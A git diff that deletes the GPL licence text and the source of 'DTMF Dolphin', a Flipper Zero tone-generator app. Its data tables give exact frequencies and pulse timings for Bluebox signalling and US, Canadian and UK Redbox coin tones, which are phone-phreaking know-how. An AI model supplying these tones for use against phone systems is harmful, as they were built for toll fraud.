-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
- If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
- Later license versions may give you additional or different
-permissions. However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
- 15. Disclaimer of Warranty.
-
- THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
- 16. Limitation of Liability.
-
- IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
- 17. Interpretation of Sections 15 and 16.
-
- If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
- If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
- You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-.
-
- The GNU General Public License does not permit incorporating your program
-into proprietary programs. If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library. If this is what you want to do, use the GNU Lesser General
-Public License instead of this License. But first, please read
-.
diff --git a/applications/external/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam
deleted file mode 100644
index 11a72df12..000000000
--- a/applications/external/dtmf_dolphin/application.fam
+++ /dev/null
@@ -1,17 +0,0 @@
-App(
- appid="dtmf_dolphin",
- name="DTMF Dolphin",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="dtmf_dolphin_app",
- requires=[
- "storage",
- "gui",
- "dialogs",
- ],
- fap_icon="phone.png",
- stack_size=8 * 1024,
- fap_category="Tools",
- fap_author="@litui & @xMasterX",
- fap_version="1.1",
- fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.",
-)
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c
deleted file mode 100644
index c1b10defa..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin.c
+++ /dev/null
@@ -1,89 +0,0 @@
-#include "dtmf_dolphin_i.h"
-
-#include
-#include
-
-static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) {
- furi_assert(context);
- DTMFDolphinApp* app = context;
- return scene_manager_handle_custom_event(app->scene_manager, event);
-}
-
-static bool dtmf_dolphin_app_back_event_callback(void* context) {
- furi_assert(context);
- DTMFDolphinApp* app = context;
- return scene_manager_handle_back_event(app->scene_manager);
-}
-
-static void dtmf_dolphin_app_tick_event_callback(void* context) {
- furi_assert(context);
- DTMFDolphinApp* app = context;
-
- scene_manager_handle_tick_event(app->scene_manager);
-}
-
-static DTMFDolphinApp* app_alloc() {
- DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp));
-
- app->gui = furi_record_open(RECORD_GUI);
- app->view_dispatcher = view_dispatcher_alloc();
- app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app);
- view_dispatcher_enable_queue(app->view_dispatcher);
- view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
-
- view_dispatcher_set_custom_event_callback(
- app->view_dispatcher, dtmf_dolphin_app_custom_event_callback);
- view_dispatcher_set_navigation_event_callback(
- app->view_dispatcher, dtmf_dolphin_app_back_event_callback);
- view_dispatcher_set_tick_event_callback(
- app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100);
-
- view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
-
- app->main_menu_list = variable_item_list_alloc();
- view_dispatcher_add_view(
- app->view_dispatcher,
- DTMFDolphinViewMainMenu,
- variable_item_list_get_view(app->main_menu_list));
-
- app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc();
- view_dispatcher_add_view(
- app->view_dispatcher,
- DTMFDolphinViewDialer,
- dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer));
-
- app->notification = furi_record_open(RECORD_NOTIFICATION);
- notification_message(app->notification, &sequence_display_backlight_enforce_on);
-
- scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart);
-
- return app;
-}
-
-static void app_free(DTMFDolphinApp* app) {
- furi_assert(app);
- view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
- view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer);
- variable_item_list_free(app->main_menu_list);
-
- dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer);
-
- view_dispatcher_free(app->view_dispatcher);
- scene_manager_free(app->scene_manager);
-
- notification_message(app->notification, &sequence_display_backlight_enforce_auto);
-
- furi_record_close(RECORD_GUI);
- furi_record_close(RECORD_NOTIFICATION);
- free(app);
-}
-
-int32_t dtmf_dolphin_app(void* p) {
- UNUSED(p);
- DTMFDolphinApp* app = app_alloc();
-
- view_dispatcher_run(app->view_dispatcher);
-
- app_free(app);
- return 0;
-}
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c
deleted file mode 100644
index 66d17bc2e..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c
+++ /dev/null
@@ -1,270 +0,0 @@
-#include "dtmf_dolphin_audio.h"
-
-DTMFDolphinAudio* current_player;
-
-static void dtmf_dolphin_audio_dma_isr(void* ctx) {
- FuriMessageQueue* event_queue = ctx;
-
- if(LL_DMA_IsActiveFlag_HT1(DMA1)) {
- LL_DMA_ClearFlag_HT1(DMA1);
-
- DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer};
- furi_message_queue_put(event_queue, &event, 0);
- }
-
- if(LL_DMA_IsActiveFlag_TC1(DMA1)) {
- LL_DMA_ClearFlag_TC1(DMA1);
-
- DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer};
- furi_message_queue_put(event_queue, &event, 0);
- }
-}
-
-void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) {
- for(size_t i = 0; i < player->buffer_length; i++) {
- player->sample_buffer[i] = 0;
- }
-}
-
-DTMFDolphinOsc* dtmf_dolphin_osc_alloc() {
- DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc));
- osc->cached_freq = 0;
- osc->offset = 0;
- osc->period = 0;
- osc->lookup_table = NULL;
- return osc;
-}
-
-DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() {
- DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter));
- pf->duration = 0;
- pf->period = 0;
- pf->offset = 0;
- pf->lookup_table = NULL;
- return pf;
-}
-
-DTMFDolphinAudio* dtmf_dolphin_audio_alloc() {
- DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio));
- player->buffer_length = SAMPLE_BUFFER_LENGTH;
- player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2;
- player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length);
- player->osc1 = dtmf_dolphin_osc_alloc();
- player->osc2 = dtmf_dolphin_osc_alloc();
- player->volume = 1.0f;
- player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent));
- player->filter = dtmf_dolphin_pulse_filter_alloc();
- player->playing = false;
- dtmf_dolphin_audio_clear_samples(player);
-
- return player;
-}
-
-size_t calc_waveform_period(float freq) {
- if(!freq) {
- return 0;
- }
- // DMA Rate calculation, thanks to Dr_Zlo
- float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER /
- (DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1);
-
- // Using a constant scaling modifier, which likely represents
- // the combined system overhead and isr latency.
- return (uint16_t)dma_rate * 2 / freq * 0.801923;
-}
-
-void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) {
- if(osc->lookup_table != NULL) {
- free(osc->lookup_table);
- }
- osc->offset = 0;
- osc->cached_freq = freq;
- osc->period = calc_waveform_period(freq);
- if(!osc->period) {
- osc->lookup_table = NULL;
- return;
- }
- osc->lookup_table = malloc(sizeof(float) * osc->period);
-
- for(size_t i = 0; i < osc->period; i++) {
- osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1;
- }
-}
-
-void filter_generate_lookup_table(
- DTMFDolphinPulseFilter* pf,
- uint16_t pulses,
- uint16_t pulse_ms,
- uint16_t gap_ms) {
- if(pf->lookup_table != NULL) {
- free(pf->lookup_table);
- }
- pf->offset = 0;
-
- uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms);
- uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms);
- pf->period = pulse_period + gap_period;
-
- if(!pf->period) {
- pf->lookup_table = NULL;
- return;
- }
- pf->duration = pf->period * pulses;
- pf->lookup_table = malloc(sizeof(bool) * pf->duration);
-
- for(size_t i = 0; i < pf->duration; i++) {
- pf->lookup_table[i] = i % pf->period < pulse_period;
- }
-}
-
-float sample_frame(DTMFDolphinOsc* osc) {
- float frame = 0.0;
-
- if(osc->period) {
- frame = osc->lookup_table[osc->offset];
- osc->offset = (osc->offset + 1) % osc->period;
- }
-
- return frame;
-}
-
-bool sample_filter(DTMFDolphinPulseFilter* pf) {
- bool frame = true;
-
- if(pf->duration) {
- if(pf->offset < pf->duration) {
- frame = pf->lookup_table[pf->offset];
- pf->offset = pf->offset + 1;
- } else {
- frame = false;
- }
- }
-
- return frame;
-}
-
-void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) {
- if(osc->lookup_table != NULL) {
- free(osc->lookup_table);
- }
- free(osc);
-}
-
-void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) {
- if(pf->lookup_table != NULL) {
- free(pf->lookup_table);
- }
- free(pf);
-}
-
-void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) {
- furi_message_queue_free(player->queue);
- dtmf_dolphin_osc_free(player->osc1);
- dtmf_dolphin_osc_free(player->osc2);
- dtmf_dolphin_filter_free(player->filter);
- free(player->sample_buffer);
- free(player);
- current_player = NULL;
-}
-
-bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) {
- uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index];
-
- for(size_t i = 0; i < player->half_buffer_length; i++) {
- float data = 0;
- if(player->osc2->period) {
- data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2);
- } else {
- data = (sample_frame(player->osc1));
- }
- data *= sample_filter(player->filter) ? player->volume : 0.0;
- data *= UINT8_MAX / 2; // scale -128..127
- data += UINT8_MAX / 2; // to unsigned
-
- if(data < 0) {
- data = 0;
- }
-
- if(data > 255) {
- data = 255;
- }
-
- sample_buffer_start[i] = data;
- }
-
- return true;
-}
-
-bool dtmf_dolphin_audio_play_tones(
- float freq1,
- float freq2,
- uint16_t pulses,
- uint16_t pulse_ms,
- uint16_t gap_ms) {
- if(current_player != NULL && current_player->playing) {
- // Cannot start playing while still playing something else
- return false;
- }
- current_player = dtmf_dolphin_audio_alloc();
-
- osc_generate_lookup_table(current_player->osc1, freq1);
- osc_generate_lookup_table(current_player->osc2, freq2);
- filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms);
-
- generate_waveform(current_player, 0);
- generate_waveform(current_player, current_player->half_buffer_length);
-
- dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length);
-
- furi_hal_interrupt_set_isr(
- FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue);
- if(furi_hal_speaker_acquire(1000)) {
- dtmf_dolphin_speaker_init();
- dtmf_dolphin_dma_start();
- dtmf_dolphin_speaker_start();
- current_player->playing = true;
- return true;
- } else {
- current_player->playing = false;
- return false;
- }
-}
-
-bool dtmf_dolphin_audio_stop_tones() {
- if(current_player != NULL && !current_player->playing) {
- // Can't stop a player that isn't playing.
- return false;
- }
- while(current_player->filter->offset > 0 &&
- current_player->filter->offset < current_player->filter->duration) {
- // run remaining ticks if needed to complete filter sequence
- dtmf_dolphin_audio_handle_tick();
- }
- dtmf_dolphin_speaker_stop();
- dtmf_dolphin_dma_stop();
- furi_hal_speaker_release();
-
- furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL);
-
- dtmf_dolphin_audio_free(current_player);
-
- return true;
-}
-
-bool dtmf_dolphin_audio_handle_tick() {
- bool handled = false;
-
- if(current_player) {
- DTMFDolphinCustomEvent event;
- if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) {
- if(event.type == DTMFDolphinEventDMAHalfTransfer) {
- generate_waveform(current_player, 0);
- handled = true;
- } else if(event.type == DTMFDolphinEventDMAFullTransfer) {
- generate_waveform(current_player, current_player->half_buffer_length);
- handled = true;
- }
- }
- }
- return handled;
-}
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h
deleted file mode 100644
index 2dd1d6eb6..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h
+++ /dev/null
@@ -1,54 +0,0 @@
-#pragma once
-// #include "dtmf_dolphin_i.h"
-#include "dtmf_dolphin_event.h"
-#include "dtmf_dolphin_hal.h"
-
-#define SAMPLE_BUFFER_LENGTH 8192
-#define PERIOD_2_PI 6.2832
-#define CPU_CLOCK_FREQ 64000000
-
-typedef struct {
- float cached_freq;
- size_t period;
- float* lookup_table;
- uint16_t offset;
-} DTMFDolphinOsc;
-
-typedef struct {
- float duration;
- size_t period;
- bool* lookup_table;
- uint16_t offset;
-} DTMFDolphinPulseFilter;
-
-typedef struct {
- size_t buffer_length;
- size_t half_buffer_length;
- uint8_t* buffer_buffer;
- uint16_t* sample_buffer;
- float volume;
- FuriMessageQueue* queue;
- DTMFDolphinOsc* osc1;
- DTMFDolphinOsc* osc2;
- DTMFDolphinPulseFilter* filter;
- bool playing;
-} DTMFDolphinAudio;
-
-DTMFDolphinOsc* dtmf_dolphin_osc_alloc();
-
-DTMFDolphinAudio* dtmf_dolphin_audio_alloc();
-
-void dtmf_dolphin_audio_free(DTMFDolphinAudio* player);
-
-void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc);
-
-bool dtmf_dolphin_audio_play_tones(
- float freq1,
- float freq2,
- uint16_t pulses,
- uint16_t pulse_ms,
- uint16_t gap_ms);
-
-bool dtmf_dolphin_audio_stop_tones();
-
-bool dtmf_dolphin_audio_handle_tick();
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c
deleted file mode 100644
index 72386b83d..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c
+++ /dev/null
@@ -1,220 +0,0 @@
-#include "dtmf_dolphin_data.h"
-
-typedef struct {
- const uint8_t row;
- const uint8_t col;
- const uint8_t span;
-} DTMFDolphinTonePos;
-
-typedef struct {
- const char* name;
- const float frequency_1;
- const float frequency_2;
- const DTMFDolphinTonePos pos;
- const uint16_t pulses; // for Redbox
- const uint16_t pulse_ms; // for Redbox
- const uint16_t gap_duration; // for Redbox
-} DTMFDolphinTones;
-
-typedef struct {
- const char* name;
- DTMFDolphinToneSection block;
- uint8_t tone_count;
- DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT];
-} DTMFDolphinSceneData;
-
-DTMFDolphinSceneData DTMFDolphinSceneDataDialer = {
- .name = "Dialer",
- .block = DTMF_DOLPHIN_TONE_BLOCK_DIALER,
- .tone_count = 16,
- .tones = {
- {"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0},
- {"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0},
- {"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0},
- {"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0},
- {"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0},
- {"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0},
- {"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0},
- {"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0},
- {"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0},
- {"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0},
- {"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0},
- {"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0},
- {"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0},
- {"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0},
- {"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0},
- {"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0},
- }};
-
-DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = {
- .name = "Bluebox",
- .block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
- .tone_count = 13,
- .tones = {
- {"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0},
- {"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0},
- {"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0},
- {"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0},
- {"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0},
- {"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0},
- {"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0},
- {"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0},
- {"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0},
- {"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0},
- {"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0},
- {"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0},
- {"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0},
- }};
-
-DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = {
- .name = "Redbox (US)",
- .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
- .tone_count = 4,
- .tones = {
- {"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0},
- {"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66},
- {"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33},
- {"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0},
- }};
-
-DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = {
- .name = "Redbox (CA)",
- .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
- .tone_count = 3,
- .tones = {
- {"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0},
- {"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66},
- {"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33},
- }};
-
-DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = {
- .name = "Redbox (UK)",
- .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
- .tone_count = 2,
- .tones = {
- {"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0},
- {"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0},
- }};
-
-DTMFDolphinSceneData DTMFDolphinSceneDataMisc = {
- .name = "Misc",
- .block = DTMF_DOLPHIN_TONE_BLOCK_MISC,
- .tone_count = 3,
- .tones = {
- {"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0},
- {"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0},
- {"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0},
- }};
-
-DTMFDolphinToneSection current_section;
-DTMFDolphinSceneData* current_scene_data;
-
-void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) {
- current_section = section;
-
- switch(current_section) {
- case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX:
- current_scene_data = &DTMFDolphinSceneDataBluebox;
- break;
- case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US:
- current_scene_data = &DTMFDolphinSceneDataRedboxUS;
- break;
- case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA:
- current_scene_data = &DTMFDolphinSceneDataRedboxCA;
- break;
- case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK:
- current_scene_data = &DTMFDolphinSceneDataRedboxUK;
- break;
- case DTMF_DOLPHIN_TONE_BLOCK_MISC:
- current_scene_data = &DTMFDolphinSceneDataMisc;
- break;
- default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER:
- current_scene_data = &DTMFDolphinSceneDataDialer;
- break;
- }
-}
-
-DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() {
- return current_section;
-}
-
-DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() {
- return current_scene_data;
-}
-
-bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) {
- for(size_t i = 0; i < current_scene_data->tone_count; i++) {
- DTMFDolphinTones tones = current_scene_data->tones[i];
- if(tones.pos.row == row && tones.pos.col == col) {
- freq1[0] = tones.frequency_1;
- freq2[0] = tones.frequency_2;
- return true;
- }
- }
- return false;
-}
-
-bool dtmf_dolphin_data_get_filter_data(
- uint16_t* pulses,
- uint16_t* pulse_ms,
- uint16_t* gap_ms,
- uint8_t row,
- uint8_t col) {
- for(size_t i = 0; i < current_scene_data->tone_count; i++) {
- DTMFDolphinTones tones = current_scene_data->tones[i];
- if(tones.pos.row == row && tones.pos.col == col) {
- pulses[0] = tones.pulses;
- pulse_ms[0] = tones.pulse_ms;
- gap_ms[0] = tones.gap_duration;
- return true;
- }
- }
- return false;
-}
-
-const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) {
- for(size_t i = 0; i < current_scene_data->tone_count; i++) {
- DTMFDolphinTones tones = current_scene_data->tones[i];
- if(tones.pos.row == row && tones.pos.col == col) {
- return tones.name;
- }
- }
- return NULL;
-}
-
-const char* dtmf_dolphin_data_get_current_section_name() {
- if(current_scene_data) {
- return current_scene_data->name;
- }
- return NULL;
-}
-
-void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) {
- max_rows[0] = 0;
- max_cols[0] = 0;
- max_span[0] = 0;
- uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0};
- for(size_t i = 0; i < current_scene_data->tone_count; i++) {
- DTMFDolphinTones tones = current_scene_data->tones[i];
- if(tones.pos.row > max_rows[0]) {
- max_rows[0] = tones.pos.row;
- }
- if(tones.pos.col > max_cols[0]) {
- max_cols[0] = tones.pos.col;
- }
- tmp_rowspan[tones.pos.row] += tones.pos.span;
- if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row];
- }
- max_rows[0]++;
- max_cols[0]++;
-}
-
-uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) {
- for(size_t i = 0; i < current_scene_data->tone_count; i++) {
- DTMFDolphinTones tones = current_scene_data->tones[i];
- if(tones.pos.row == row && tones.pos.col == col) {
- return tones.pos.span;
- }
- }
- return 0;
-}
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h
deleted file mode 100644
index 56ceaf03d..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h
+++ /dev/null
@@ -1,36 +0,0 @@
-#pragma once
-#include
-#include
-#include
-
-#define DTMF_DOLPHIN_MAX_TONE_COUNT 16
-
-typedef enum {
- DTMF_DOLPHIN_TONE_BLOCK_DIALER,
- DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
- DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
- DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
- DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
- DTMF_DOLPHIN_TONE_BLOCK_MISC,
-} DTMFDolphinToneSection;
-
-void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section);
-
-DTMFDolphinToneSection dtmf_dolphin_data_get_current_section();
-
-bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col);
-
-bool dtmf_dolphin_data_get_filter_data(
- uint16_t* pulses,
- uint16_t* pulse_ms,
- uint16_t* gap_ms,
- uint8_t row,
- uint8_t col);
-
-const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col);
-
-const char* dtmf_dolphin_data_get_current_section_name();
-
-void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span);
-
-uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col);
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h
deleted file mode 100644
index 525d0eb04..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h
+++ /dev/null
@@ -1,21 +0,0 @@
-#pragma once
-
-typedef enum {
- DTMFDolphinEventVolumeUp = 0,
- DTMFDolphinEventVolumeDown,
- DTMFDolphinDialerOkCB,
- DTMFDolphinEventStartDialer,
- DTMFDolphinEventStartBluebox,
- DTMFDolphinEventStartRedboxUS,
- DTMFDolphinEventStartRedboxUK,
- DTMFDolphinEventStartRedboxCA,
- DTMFDolphinEventStartMisc,
- DTMFDolphinEventPlayTones,
- DTMFDolphinEventStopTones,
- DTMFDolphinEventDMAHalfTransfer,
- DTMFDolphinEventDMAFullTransfer,
-} DTMFDolphinEvent;
-
-typedef struct {
- DTMFDolphinEvent type;
-} DTMFDolphinCustomEvent;
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c
deleted file mode 100644
index b556c7145..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c
+++ /dev/null
@@ -1,52 +0,0 @@
-#include "dtmf_dolphin_hal.h"
-
-void dtmf_dolphin_speaker_init() {
- LL_TIM_InitTypeDef TIM_InitStruct = {0};
- TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER;
- TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD;
- LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct);
-
- LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0};
- TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1;
- TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE;
- TIM_OC_InitStruct.CompareValue = 127;
- LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct);
-}
-
-void dtmf_dolphin_speaker_start() {
- LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER);
